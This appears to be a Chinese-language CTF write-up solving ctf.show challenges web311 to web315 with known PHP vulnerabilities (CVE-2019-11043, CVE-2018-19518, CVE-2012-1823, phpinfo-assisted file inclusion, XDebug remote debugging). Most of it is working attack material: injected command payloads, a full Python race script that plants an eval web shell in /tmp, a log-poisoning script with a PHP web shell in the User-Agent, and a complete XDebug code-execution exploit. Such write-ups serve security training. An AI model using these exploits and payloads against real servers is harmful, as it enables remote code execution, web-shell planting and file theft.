web311
根据服务器相应信息，PHP版本为PHP/7.1.33dev
搜索相关CVE为CVE-2019-11043
参考文章：
https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html
https://lorexxar.cn/2019/10/25/php-fpm-rce
Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时，会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO 为空的情况下，存在逻辑缺陷。攻击者通过精心的构造和利用，可以导致远程代码执行。
Nginx + php-fpm 的服务器，在使用如下配置的情况下，都可能存在远程代码执行漏洞。
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
使用exp：https://github.com/neex/phuip-fpizdam
payload利用不断添加参数名长度的方式来计算偏移距离
go get -v && go build
go run . "https://31e5daa1-de58-438b-ad95-df4f2b7b1c28.challenge.ctf.show/index.php"
成功命令执行，需要多访问几次，不是每次都能成功。
https://31e5daa1-de58-438b-ad95-df4f2b7b1c28.challenge.ctf.show/index.php?a=whoami
web312
PHP imap 远程命令执行漏洞（CVE-2018-19518）
参考文章：
https://github.com/vulhub/vulhub/tree/master/php/CVE-2018-19518
hp imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell，而debian/ubuntu中默认使用ssh来代替rsh的功能（也就是说，在debian系列系统中，执行rsh命令实际执行的是ssh命令）。
因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令，攻击者通过注入注入这个参数，最终将导致命令执行漏洞。
(尽量不要让注入命令中含有+，会被识别为空格)
payload
hostname=x+-oProxyCommand%3decho%09Y2F0IGN0ZnNob3dmbDRnPjEudHh0|base64%09-d|sh}&username=111&password=222
web313
php版本为PHP/5.4.1
PHP-CGI远程代码执行漏洞（CVE-2012-1823）
参考文章：
https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823
影响版本 php < 5.3.12 or php < 5.4.2
payload
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
<?php echo shell_exec("cat /somewhere/fla9.txt"); ?>
web314
PHP文件包含漏洞（利用phpinfo）
参考文章：
https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md
PHP文件包含漏洞中，如果找不到可以包含的文件，我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的，如果目标网站上存在phpinfo，则可以通过phpinfo来获取临时文件名，进而进行包含。
修改exp后还是跑不通(这里修改了host头，padding长度，因为原本长度5000会显示400，request too large)
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 4000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),"bab8beb8-644d-4309-82f5-7b943365419e.challenge.ctf.show",REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /index.php?f=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, "bab8beb8-644d-4309-82f5-7b943365419e.challenge.ctf.show"))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print(phpinforeq)
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
print(len(d))
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
使用其它方法🤣
使用日志包含或者session包含都行
import requests
url = "https://bab8beb8-644d-4309-82f5-7b943365419e.challenge.ctf.show/index.php"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36<?php @eval($_POST[1]); ?>"
}
data = {
1:"system('cat /fl6g');"
}
resp = requests.post(url+"?f=/var/log/nginx/access.log",headers=headers,data=data)
print(resp.text)
web315
XDebug 远程调试漏洞（代码执行）
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
这个配置下，我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm，目标服务器的XDebug将会连接访问者的IP（或X-Forwarded-For头指定的地址）并通过dbgp协议与其通信，我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。
参考文章：
https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce
exp.py
#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
from concurrent.futures import ThreadPoolExecutor
pool = ThreadPoolExecutor(1)
session = requests.session()
session.headers = {
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}
def recv_xml(sock):
blocks = []
data = b''
while True:
try:
data = data + sock.recv(1024)
except socket.error as e:
break
if not data:
break
while data:
eop = data.find(b'\x00')
if eop < 0:
break
blocks.append(data[:eop])
data = data[eop+1:]
if len(blocks) >= 4:
break
return blocks[3]
def trigger(url):
time.sleep(2)
try:
session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1)
except:
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
parser.add_argument('-t', '--target', required=True, help='target url.')
parser.add_argument('-l', '--listen', default=9000, type=int, help='local port')
args = parser.parse_args()
ip_port = ('0.0.0.0', args.listen)
sk = socket.socket()
sk.settimeout(10)
sk.bind(ip_port)
sk.listen(5)
pool.submit(trigger, args.target)
conn, addr = sk.accept()
conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00']))
data = recv_xml(conn)
print('[+] Recieve data: ' + data.decode())
g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
if not g:
print('[-] No result...')
sys.exit(0)
data = g.group(1)
try:
print('[+] Result: ' + base64.b64decode(data).decode())
except binascii.Error:
print('[-] May be not string result...')
虽然脚本有-l可以指定端口，但用其他端口收不到响应。（vps的防火墙记得开放9000端口）
使用备用环境，启动的环境也收不到响应。
python3 exp.py -t http://pwn.challenge.ctf.show:28100/index.php -c "shell_exec('cat flaaaxx.php');"
